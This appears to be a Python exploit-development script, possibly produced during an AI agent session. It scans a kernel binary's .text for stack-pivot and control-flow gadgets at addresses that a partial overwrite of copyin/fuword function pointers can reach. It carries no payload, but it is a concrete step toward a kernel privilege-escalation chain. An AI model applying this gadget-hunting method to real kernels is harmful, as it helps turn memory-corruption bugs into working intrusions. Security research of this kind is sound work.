DF-0053 / gadget_scan2.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 | #!/usr/bin/env python3 """ DF-0053: Definitive gadget scan. Search ALL byte offsets in kernel .text for stack-pivot / control-flow gadgets, then check if ANY are at addresses reachable by the DF-0053 partial overwrite. Reachable address constraints: - k=0: byte 0 = 0x00, bytes 1-7 = original funcptr bytes (7 fixed addresses) - k=1: byte 0 = formable (0x20-0x7e for printable ASCII), byte 1 = 0x00, bytes 2-7 = original funcptr bytes โ 0xffffffff80bc00XX - k=2: bytes 0-1 formable, byte 2 = 0x00, bytes 3-7 intact โ 0xffffffff8000XXYY (UNMAPPED) - Full overwrite: all bytes formable โ non-canonical """ import struct KERNEL = "/tmp/opencode/df0053/kernel.debug" def parse_elf_text(path): with open(path, 'rb') as f: data = f.read() e_shoff = struct.unpack_from('<Q', data, 0x28)[0] e_shentsize = struct.unpack_from('<H', data, 0x3a)[0] e_shnum = struct.unpack_from('<H', data, 0x3c)[0] e_shstrndx = struct.unpack_from('<H', data, 0x3e)[0] sections = [] for i in range(e_shnum): off = e_shoff + i * e_shentsize sh = struct.unpack_from('<IIQQQQ', data, off) sections.append(sh) shstr_off = sections[e_shstrndx][4] def getname(idx): end = data.index(b'\x00', shstr_off + idx) return data[shstr_off + idx:end].decode() result = {} for s in sections: name = getname(s[0]) if name in ('.text', '.rodata', '.data'): result[name] = (s[3], s[4], s[5], data[s[4]:s[4]+s[5]]) return result secs = parse_elf_text(KERNEL) text_va, text_foff, text_size, text_bytes = secs['.text'] # Funcptr originals funcptrs = { 'copyinstr': 0xffffffff80bcb5c0, 'copyin': 0xffffffff80bcaf50, 'copyout': 0xffffffff80bcad50, 'fubyte': 0xffffffff80bcb430, 'subyte': 0xffffffff80bcb560, 'fuword32': 0xffffffff80bcb3e0, 'fuword64': 0xffffffff80bcb390, 'suword64': 0xffffffff80bcb4a0, 'suword32': 0xffffffff80bcb500, 'swapu32': 0xffffffff80bcb1b0, 'swapu64': 0xffffffff80bcb2d0, 'fuwordadd32':0xffffffff80bcb210, 'fuwordadd64':0xffffffff80bcb330, } # Compute ALL reachable addresses reachable = set() # k=0: zero byte 0 for name, orig in funcptrs.items(): addr = (orig & ~0xff) | 0x00 reachable.add(addr) # k=1: byte 0 = printable, byte 1 = 0x00 for b in range(0x20, 0x7f): reachable.add(0xffffffff80bc0000 | b) print(f"Total reachable addresses: {len(reachable)}") print(f" k=0: {len(set((orig & ~0xff) for orig in funcptrs.values()))} unique") print(f" k=1: {0x7f - 0x20} addresses (0x20-0x7e)") # --- Search for gadget patterns in entire .text --- # Patterns that would give us stack pivot or control flow redirect gadget_patterns = { # Stack pivots via rdi (we control rdi in copyin/fuword/swap calling conventions) 'xchg_rsp_rdi_A': bytes([0x48, 0x87, 0xe7]), # xchg rsp, rdi (modrm e7) 'xchg_rsp_rdi_B': bytes([0x48, 0x87, 0xfc]), # xchg rdi, rsp (modrm fc) 'mov_rsp_rdi': bytes([0x48, 0x89, 0xfc]), # mov rsp, rdi (wait, this is mov r/m,r โ dst=rm=rsp, src=reg=rdi? No.) # Actually: 89 /r = mov r/m64, r64. ModRM fc = mod:11, reg:111(rdi), rm:100(rsp) โ mov rsp, rdi 'mov_rsp_rdi_v2': bytes([0x48, 0x8b, 0xe7]), # mov rsp, rdi (8b = mov r64, r/m64 โ reg=rsp, rm=rdi) # Actually: 8b /r = mov r64, r/m64. ModRM e7 = mod:11, reg:100(rsp), rm:111(rdi) โ mov rsp, rdi โ 'push_rdi_pop_rsp': bytes([0x57, 0x5c]), # push rdi; pop rsp # xchg eax, esp (pivots to low 32 bits of eax) 'xchg_eax_esp': bytes([0x94]), # leave; ret (if we can shape rbp) 'leave_ret': bytes([0xc9, 0xc3]), # pop rsp; ret 'pop_rsp_ret': bytes([0x5c, 0xc3]), # jmp rdi / call rdi (redirect to user address) 'jmp_rdi': bytes([0xff, 0xe7]), # jmp rdi 'call_rdi': bytes([0xff, 0xd7]), # call rdi 'jmp_rax': bytes([0xff, 0xe0]), # jmp rax (rax=funcptr, kernel addr) 'jmp_rsi': bytes([0xff, 0xe6]), # jmp rsi (kernel addr) # mov [rdi], rsi followed by ret (write to user addr, not useful) 'mov_rdi_rsi': bytes([0x48, 0x89, 0x37]), # mov [rdi], rsi # xchg rax, [rdi] (swap, already found at bcb300) 'xchg_rax_rdi': bytes([0x48, 0x87, 0x07]), # xchg rax, [rdi] # ret (bare ret = copyin returns whatever rax is) 'bare_ret': bytes([0xc3]), } print(f"\n=== SCANNING ENTIRE .text ({text_size} bytes) FOR GADGETS ===") all_gadgets = {} for gname, pattern in gadget_patterns.items(): if gname == 'bare_ret': continue # too many, skip positions = [] pos = 0 while True: pos = text_bytes.find(pattern, pos) if pos == -1: break addr = text_va + pos positions.append(addr) pos += 1 all_gadgets[gname] = positions print(f" {gname}: {len(positions)} occurrences in .text") # Check which gadgets are at REACHABLE addresses print(f"\n=== GADGETS AT REACHABLE ADDRESSES ===") found_any = False for gname, positions in all_gadgets.items(): for addr in positions: if addr in reachable: # Check what follows (for ret) off = addr - text_va following = text_bytes[off:off+12].hex(' ') # Find the funcptr this corresponds to label = "" for name, orig in funcptrs.items(): if (orig & ~0xff) == (addr & ~0xff) and (addr & 0xff) == 0: label = f"k=0_{name}" break if 0xffffffff80bc0000 <= addr <= 0xffffffff80bc007e: label = f"k=1_{addr & 0xff:02x}" print(f" *** FOUND: {gname} at 0x{addr:016x} [{label}] bytes: {following}") found_any = True if not found_any: print(" NONE โ no gadget pattern found at any reachable address") # Also check: is there a bare ret at any reachable address? print(f"\n=== BARE RET (0xc3) AT REACHABLE ADDRESSES ===") for addr in sorted(reachable): off = addr - text_va if 0 <= off < text_size: b = text_bytes[off] if b == 0xc3: print(f" ret at 0x{addr:016x}") found_any = True # What about 0xc3 within the first 4 bytes of each reachable address? print(f"\n=== RET (0xc3) WITHIN FIRST 4 BYTES OF REACHABLE ADDRESSES ===") for addr in sorted(reachable): off = addr - text_va if 0 <= off < text_size - 4: bts = text_bytes[off:off+4] for i, b in enumerate(bts): if b == 0xc3: label = "" for name, orig in funcptrs.items(): if (orig & ~0xff) == (addr & ~0xff) and (addr & 0xff) == 0: label = f"k=0_{name}" break if 0xffffffff80bc0000 <= addr <= 0xffffffff80bc007e: label = f"k=1_{addr & 0xff:02x}" print(f" ret at offset +{i} from 0x{addr:016x} [{label}]: {bts.hex(' ')}") # Print the reachable addresses with their first 8 instruction bytes for manual review print(f"\n=== ALL k=0 TARGETS (instruction bytes) ===") for name, orig in sorted(funcptrs.items(), key=lambda x: x[1]): addr = (orig & ~0xff) | 0x00 off = addr - text_va if 0 <= off < text_size - 8: bts = text_bytes[off:off+8] print(f" {name:14s} 0x{addr:016x}: {bts.hex(' ')}") print(f"\n=== k=1 RANGE: 0xffffffff80bc0020..007e ===") for b in range(0x20, 0x7f): addr = 0xffffffff80bc0000 | b off = addr - text_va if 0 <= off < text_size - 8: bts = text_bytes[off:off+8] print(f" 0x{addr:016x} (0x{b:02x}): {bts.hex(' ')}") |